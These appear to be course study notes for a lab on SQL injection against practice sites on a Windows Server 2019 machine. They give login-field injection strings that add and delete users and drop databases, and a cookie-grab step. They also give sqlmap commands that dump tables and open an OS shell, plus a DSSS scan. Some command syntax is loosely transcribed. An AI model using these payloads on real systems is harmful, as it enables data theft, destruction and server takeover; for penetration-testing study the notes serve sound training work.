**Module-15 SQL Injection**

* **SQL Injection:**
* a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).
* **Types of SQL Injection:**

1. [In-Band SQL Injection](https://www.invicti.com/learn/in-band-sql-injection/) (Classic SQLi) - type of SQL injection where the attacker receives the result as a direct response using the same communication channel.
2. [Out-of-Band SQL Injection](https://www.invicti.com/learn/out-of-band-sql-injection-oob-sqli/) - type of SQL injection attack where the attacker is unable to use the same channel to both execute the attack and receive the results.
3. inferential SQL injection ( blind SQL injection) - type of SQL injection attack where the attacker cannot see the actual data returned from the database.

* **SQL Injection Attack:**

Attacker: Kali Linux

Target : Server 2019

**(Info: Site hosted in Server 2019:**

* <http://www.moviescope.com>
* <http://www.goodshopping.com>

**Steps:**

* In kali os, open zap tool > automated scan > enter the target url “http://www.goodshopping.com”> attack > report > generate report > save report in desktop.
* In srv 2019 > search IIS > goto sites > [www.goodshopping.com](http://www.goodshopping.com)
* In srv 2019, goto search > search SSMS > connect > select database > expand goodshopping > expand table > dbo.login (rt.click) > select top 1000 rows (to display rows)

**For command injection:**

* In kali os browser, browse “[www.goodshopping.com](http://www.goodshopping.com)” > login > goto username / Password input field
* **Adding username and password to database:**

Cmd ( ‘bash’; insert into login values (‘hari’ , ’ haripass’); - -

* **Deleting user from Database:**

Cmd (‘ bash’ delete from login where username = ‘hari’ ; - - )

* **Creating new database:**

Cmd ( blah;create database mydatabase; - - )

* **Deleting Database:**

Cmd ( blah; drop database mydatabase; - -)

* **SQL Map tool:**
* open-source penetration testing tool designed to automate the detection and exploitation of SQL injection vulnerabilities.
* tool used in penetration testing to detect and exploit SQL injection vulnerabilities in databases.
* automates the detection and exploitation of SQL injection processes and defends against them
* **Exploitation of SQL Injection Vulnerabilities :**
* Attacker: kali os
* Victim: window server 2019 - database
* Site: <http://www.goodshopping.com> (hosted in server 2019)

**Steps**

1. Turn on both kali and Server 2019
2. In kali os, goto site ‘ <http://www.goodshopping.com> ‘ > login to site > username: sam, password: test > goto view profile > rt.click and inspect > goto bottom in console > run cmd “document.cookie” > copy site link & cookie and paste it in text file .
3. In kali os, goto terminal > run tool sql map “ sudo sqlmap -h “

* **To Access Database:**
* Cmd ( sudo sql map -u Url - - cookie Copied Cookie - - dbs
* **To Access tables of Database:**
* Cmd ( sudo sql map -u Url - - cookie Copied Cookie - D Database name - - tables
* **To Access table Dump:**
* **Cmd** (sudo sql map -u Url - - cookie Copied Cookie - D Database - T tablename - - dump
* **To Access Target OS Shell:**
* Cmd ( sudo sql map -u Url - - cookie Copied Cookie - -os-shell )

Check cmd : hostname , tasklist , help

* **DSStool for SQL Injection Scanning: (tool: DSSS)**
* Damn small sql scanner in kali os

**Steps:**

* In kali os, goto github site > search DDSS > copy link > goto terminal > git clone & paste link > ls > cd DSSS > ls > Python3 dsss.py . enter
* Run cmd ( python3 dsss.py -u *URL* - - cookie *Cookie* )
* Rt.click on output scan result and open link to check Vulnerabilities.